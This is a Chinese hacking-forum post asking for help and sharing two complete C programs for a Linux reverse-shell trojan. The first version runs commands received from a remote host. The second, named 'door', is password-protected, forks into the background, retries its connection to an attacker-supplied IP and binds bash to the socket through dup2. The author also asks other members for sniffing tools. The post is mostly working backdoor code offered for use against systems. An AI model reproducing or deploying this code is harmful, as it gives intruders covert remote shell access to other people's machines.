返回列表 发帖

[讨论]Linux反弹马编写

[讨论]Linux反弹马编写
文章作者:武夫

最近在检测一个Linux集群时需要用到Linux下的很多工具,这些以前都没收集注意过,今天由于某种原因急需一个反弹的cmdshell,百度上找了几个也没遇到好的.所以琢磨着自己写.由于本人以前从来没在Linux下进行过编程,所以开始偷懒,用C标准库的一个system()函数来实现这个功能.

代码如下:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>

#include <netinet/in.h>
#include <sys/socket.h>

#define P0RT 1113

int main(int a, char **b)
{
        if(a<2) return 0;
        int c;
        char p[1024];
        char file[1800];
        char *welcome="Hello. Print \"EXIT\" command To Exit\n";
        char *banner1="\n**********  Result:  *************\n\n";
        char *banner2="\n**********    End    *************\n\n";
        char *banner3="CMD LINE:   " ;
        FILE *fp;
        struct sockaddr_in l;
        l.sin_family = AF_INET;
        l.sin_port = htons(P0RT);
        l.sin_addr.s_addr = inet_addr(b[1]);
         bzero(&(l.sin_zero), 8);
         c = socket(AF_INET, SOCK_STREAM, 0);
        while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
        {
                if(a==3)
                {
                        sleep(atoi(b[2]));
                }
                else
                {
                        sleep(5);
                }
        }
        //Get Connected
        send(c , welcome , strlen(welcome) ,0);
        send(c , banner3 , strlen(banner3) , 0);
        recv(c , p , 1024 ,0) ;
        while(1)
        {        
                p[strlen(p)-1]='\0';        //Change 0x0D to 0x00
                if(strncasecmp(p , "EXIT" , strlen(p))==0) break;
                sprintf(p , "%s > /tmp/tmp.txt" ,p);
                system(p);
                send(c , banner1 , strlen(banner1) , 0);
                fp = fopen("/tmp/tmp.txt" , "r");
                if(fp==NULL)
                {
                        send(c , "No Input File\n" , 32 ,0);
                        continue;
                }
                else
                {
                        while(fgets(file , 1024 , fp))
                        {
                                send(c , file , strlen(file)+1 , 0);
                                fseek(fp , SEEK_SET , strlen(file)+1);
                        }
                }
                fclose(fp);
                system("rm -f /tmp/tmp.txt");
                send(c , banner2 , strlen(banner2) , 0);
                send(c , banner3 , strlen(banner3) , 0);
                memset(p , 0 , 1024);
                memset(file , 0 , 1800);
                recv(c , p , 1024 ,0);
        }
        close(c);
        return 0;
}

上面是通过输出到一个临时文件/tmp/tmp.txt来实现数据的返回输出的,但是这样明显的一个缺点就是一些命令根本返回不了结果.所以这个办法不可行.晚上我抽了点时间看了下我的C语言函数手册,了解到UNIX下的pipe函数可以建立匿名管道,但另外一个巧妙的方法就是用dup2()函数来实现输出输入句柄的复制.

所以将上面的代码改写如下:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define P0RT 1113                //DEFAULT PORT . CAN BE CHANGED IN MAIN PARAMS
#define PASSWORD "hackwolf"        //PASSWORD FOR LOGIN

void usage()
{        
        printf("*****************************************\n");
        printf("\tUsage:./door RemoteIP [RemotePort] [Sleep]\n");
        printf("\tCoded By Hackwolf.\n");
        printf("\tTest Code For : forum.eviloctal.com\n\n");
        printf("*****************************************\n");
}


int main(int a, char **b)
{
        if(a<2)
        {
                usage();
                return 0;
        }
        int c , err=0;
        char p[1024];
        char *welcome="\n\nHello.Input Your Password Here^_^ : ";
        char *banner1="\n**********  Result:  *************\n\n";
        char *banner2="\n**********    End    *************\n\n";
        char *banner3="CMD LINE:   " ;
        char *banner4="****** ERROR PASSWORD.!!!!******\nReType Your Pass ~_~ :   ";
        char *suc="\n\nSuccess.You Can Type Command Below ^_^\n\n";
        FILE *fp;
        struct sockaddr_in l;
        l.sin_family = AF_INET;
        if(a==3)
        {
                l.sin_port = htons(atoi(b[2]));
        }
        else
                l.sin_port = htons(P0RT);
        l.sin_addr.s_addr = inet_addr(b[1]);
        bzero(&(l.sin_zero), 8);
switch(fork())
{case -1:exit(-1);
case 0:{
        c = socket(AF_INET, SOCK_STREAM, 0);
        //Get Remote Connected....
        while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
        {
                if(a==4)
                {
                        sleep(atoi(b[3]));
                }
                else
                {
                        sleep(3);
                }
        }
        printf("Connect OK..");
        //Send Welcome MSG...
        send(c , welcome , strlen(welcome) ,0);
        recv(c , p , 1024 ,0) ;
        //Check PASSWORD
        while(1)
        {
                if(strncmp(p , PASSWORD , strlen(p)-1)!=0)
                {
                        send(c , banner4 , strlen(banner4) , 0);
                        err++;
                        recv(c , p , 1024 ,0);
                }
                else
                {
                        send(c , suc , strlen(suc) , 0);
                        break;
                }
                if(3==err) exit(1); //MAX Times of  ERROR PASSWORD.
        }
        //Close STDIN ,STDOUT ,STDERROR I/O.
        close(0);
        close(1);
        close(2);
        //Redirect STDIN , STDOUT , STDERROR to SOCKET c.
        dup2(c , 0);
        dup2(c , 1);
        dup2(c , 2);
        //Create A child Process.
        execl("/bin/bash" , "bash" , NULL);
        close(c);}
default:
{
printf("Connect OK\nWaiting Please...\n");
}
        return 0;
}
上面基本已经实现了cmdshell的基本功能了.但是出现了一个问题.就是:
结果的输入不能按我想要的格式进行输出.
如执行:ls
返回:cmd.php mmm

这样不利于数据的分析,所以想请教大家,怎么样将结果进行格式化输出,达到美观大方令人心旷神怡的样子..

问题有点白痴,高手们不要见笑.

PS:如果大家有比较好的Linux下的嗅探工具,麻烦给我份,谢谢!!

返回列表